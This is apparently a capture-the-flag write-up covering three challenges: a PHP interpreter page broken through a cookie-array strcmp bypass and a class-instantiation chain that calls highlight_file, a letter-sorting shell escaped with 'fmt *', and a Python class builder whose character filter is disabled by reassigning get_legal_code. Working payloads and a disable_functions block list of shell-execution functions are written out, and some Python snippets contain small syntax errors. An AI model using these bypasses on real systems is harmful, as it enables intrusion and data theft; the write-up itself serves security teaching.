Web

php.galf

This challenge consists of a web page that presents itself as a php interpreter. The page allow us to insert some commands and arguments in a text area, execute them, and print the output of the code.

Source code is provided.

The main page of the challenge runs the following code:

define('block', TRUE);
require("parser/syntaxreader.php");
include("flag.php");
$code = NULL;
$args = NULL;
$result = NULL;
if (isset($_POST['code']) && isset($_POST['args'])) {
$code = $_POST['code'];
$args = $_POST['args'];
if (!isset($_COOKIE['DEBUG'])){
    $result = new syntaxreader($code, $args);
}
else if (strcmp($_COOKIE['DEBUG'], hash("md5", $flag)) == 0) {
        echo "Warning: Adming debugging enabled!";
        $result = new syntaxreader($code, $args, NULL);
    } else {
        $debug = array("Debugging Enabled!", 69);
        $result = new syntaxreader($code, $args, $debug);
    }
    $result->run();
}

The first thing we notice is that the page checks whether the DEBUG cookie is set, to presumably enable some extra debugging features. If the cookie’s value is set to the hash of the flag, NULL will be passed to the syntax reader. Otherwise the value is passed. The syntax reader class constructor code is the following:

public function __construct($lines, $args, $debug = NULL) {
    $this->code = explode("\n", $lines);
    $this->args = $args;
    $this->result = $result;
    if (isset($debug)) {
        // disable debugging mode
        throw new noitpecxe(...$debug);
    }
}

This show that setting any value to the cookie different from the flag will throw an exception (notice that noitpecxe is the reverse of exception) defined in the following class:

class noitpecxe extends Exception
{
    public $error_func = NULL;
    public function __construct($message, $code, $previous = null, $error_func = "printf") {
        // remove when PHP 5.3 is no longer supported
        echo "Construting exception";
        $this->error_func = $error_func;
        $this->message = $message;
        $previous = NULL;
        //dont care what ur code is LOL!
        $code = 69;
        parent::__construct($message, $code, $previous);
    }

    public function __toString() {
        $error_func = $this->error_func;
        $error_func($this->message);
        return __CLASS__ . ": {$this->code}\n";
    }
}

We’re able to enable admin debug by setting the cookie as an array (from the storage tab of the browser we create the cookie as DEBUG[0] with empty value). In this way the comparison via strcmp will fail, returning NULL.. se the comments here. We will need this debugging feature enable in the future.

The syntaxreader run function simply calls the parse function, defined in this way:

public function parse() {
    $parsable = array("ohce");
    $arg_val = 0;
    $code = $this->code;
    $args = $this->args;
    $result = $this->result;
    for ($i = 0; $i < count($code); $i++) {
        $code[$i] = trim($code[$i]); // trim each code line
    }
    $args = explode(",", $args);
    for ($i = 0; $i < count($args); $i++) {
        $args[$i] = trim($args[$i]); // trim each arg
    }
    for ($i = 0; $i < count($code); $i++) {
        $token = explode(" ", $code[$i]); // split each code line by space
        for ($j = 0; $j < count($token); $j++) {
            try {
                if (!in_array($token[$j], $parsable)) { // look for ohce
                    throw new noitpecxe("Non-Parsable Keyword!\n", 101);
                }
                if ($args[$arg_val] == NULL) { // check exists arg
                    throw new noitpecxe("No Arguments!\n", 990);
                }
                if ($args[$arg_val] === "noitpecxe") { // check that arg is not exception
                    throw new noitpecxe("No Exceptions!\n", 100);
                }
                $class = new $token[$j]; // instantiate ohce
                $class($args, $arg_val);
                $arg_val++; // go to next arg
            } catch (noitpecxe $e) {
                echo "Error Executing Code! Error: " . $e . "\n";
            }
        }
    }
}

The code (commented by me) tells us that the only kind of command we can run is ohce (echo backwards), which is executed by instantiating and invoking the ohce class and proving the full argument vector to it. Moreover, noitpecxe is not allowed as argument. By inspecting the ohce class, we can find that the argument can be either a string or another class between orez_lum and orez_dda (respectively mul_zero and add_zero):

public function __invoke($args, $arg_val) {
    $this->args = $args[$arg_val];
    $arg_val++;
    $parsable = array("orez_lum", "orez_dda");
    if (in_array($this->args, $parsable)) {
        $class = new $this->args;
        $this->result = $class($args, $arg_val);
    } else {
        $this->result = $this->args;
    }
    $this->result = strrev($this->result) . "\n";
    echo $this->result;
}

In total, there are three operands allowed: orez_lum, orez_dda and orez_vid. orez_lum and orez_dda are pretty similar, and their invocation works like this:

public function __invoke($arg, $arg_val) {
    if ($arg[$arg_val] == NULL) {
        throw new noitpecxe("No Arguments!\n", 990);
    }
    if ($arg[$arg_val] === "noitpecxe") { //check that it is not exception
        throw new noitpecxe("No Exceptions!\n", 100);
    }
    //helpful for chaining expressions
    if (!is_numeric($arg[$arg_val])) {
        $class = new $arg[$arg_val];
        $arg_val++;
        $class($arg, $arg_val);
        $this->result = $class->result;
    }
    $this->result = $arg[$arg_val] + 0; //adding and subtracting zero does the same thing?
    return $this->result;
}

When invoked, this class allows us to instantiate and invoke any other class!

The orez_vid class is pretty different from the others:

public function __construct($op=NULL, $result=NULL, $arg=NULL) { // one more argument
    $arg = NULL;
    $arg_val = NULL;
    if ($op == "div"){
        throw new noitpecxe("{$op} is not a valid operator!\n Results: {$result}\n", 0);
    }
}

public function __invoke($arg = "div", $arg_val = 0, $result = NULL) {
    if (!isset($_COOKIE['DEBUG'])) {  //just gonna prevent people from using this
        throw new noitpecxe("You need to enable debugging mode to access this!\n", 0);
    }
    if ($arg[$arg_val] == NULL) {
        throw new noitpecxe("No Arguments!\n", 990);
    }
    if ($arg[$arg_val] === "noitpecxe") {
        throw new noitpecxe("No Exceptions!\n", 100);
    }
    if (isset($result)) {
        throw new noitpecxe("No dividing by zero!\n", 0);
    }
    ///////////////////////////////////////////////////////////////////////////
    // smart to call the constructor so there is an exception! I was a genius!
    ///////////////////////////////////////////////////////////////////////////
    $class = new $arg[$arg_val]("div", $result, $arg);
    $arg_val++;
    $this->result = $arg[$arg_val] / 0; // dividing by zero??
    return $this->result;
}

We immediately notice that the check on the constructor is useless (we will never pass div as first argument). The __invoke method checks whether the DEBUG cookie is set (we already bypassed this limitation in the beginning), and after other checks, instantiates the class given by the argument. This case is different from other methods since the instatiation is made by passing three arguments (probably made for its constructor since div is passed as first argument) and arg is passed as the last argument.

We can use this class to instantiate a syntaxreader and inject our arguments in the debug variable, which values is then passed into a noitpecxe (exception…).

The last argument of the constructor will be the function called in its __toString method, while the first argument will be its argument.

Lots of function are disabled from the php.ini file:

disable_functions=exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,fopen
allow_url_fopen=Off
allow_url_include=Off

However, after looking through many functions, we found that hightlight_file (interally called by show_source) is not blocked.

So we constructed the following payload:

code:

ohce
ohce
ohce
ohce
ohce

args:

index.php, 0, asd, highlight_file, orez_dda, orez_vid, syntaxreader, 0, 0

The first four ohce commands will be used to print the strings index.php, 0, asd and highlight_file (we want to include them in the args passed to the noitpecxe), while the last ohce will execute our payload.

To recap, the payload will be executed by instantiating a orez_dda (add_zero) class, which instantiates a orez_vid (div_zero) class, which, in turn, instantiates a syntaxreader with arguments 0, 0 and our global args as debug. The syntaxreader will throw noitpecxe with the splat operator applied to our arg as arguments. When printed, the exception will execute __toString and call highlight_file with the argument index.php.

This way we obtain the flag.

Misc

abhs

This challenge featured a modified version of /bin/sh that, when prompted with a command, would reorder the letters in the name of the command and in each of the arguments so that the resulting characters in each string would be in alphabetical order.

The first command we can issue is ls. This shows us that the file flag.txt containing the flag is indeed in the current working directory.

We should then find a way to read this file. We can’t use cat, as we would actually issue the command act, and the shell would indeed error out with sh: act: not found.

Luckily, ls /bin is the letters in each word are reordered, so we can use this command to list all the available commands, then filter them to keep only those that we can actually use. We are left with a bunch of standard linux commands. After trying some of them, I noticed a command named fmt, which apparently is something we can use to format files. We can simply issue the command fmt * to get the flag: bctf{gr34t_I_gu3ss_you_g0t_that_5orted_out:P}

ez-class

This challenge featured a service that would let us define Python classes. The service would let us specify the name of the class, the base class to inherit from, the names, the arguments and the body of the methods we wanted in it. It would save the resulting code to a file, exec() it and then instantiate an object of our class.

The first thing to note is that we can easily execute code by putting it inside the constructor of a class, as it gets called when the object is instantiated by the server. The only problem is that the service put some restrictions on the characters we could use for the code inside our functions: a function get_legal_code would get called that used input() to get the code; the function would then throw an error if the code contained the characters “(”, “)”, “.” or “\n”.

An easy (and perhaps unintended?) way to solve this challenge is to request a class with the following structure:

def A:
    def __init__(self):
        global get_legal_code; get_legal_code = input

This way, in the following requests, our code won’t be checked against the blacklisted characters! We can then simply request the following class:

def B:
    def __init__(self)
        print(open("flag.txt", "r").read())

which will print out the flag: bctf{m3ta_c4l1abl3_b5e478f33eb890a2ee65}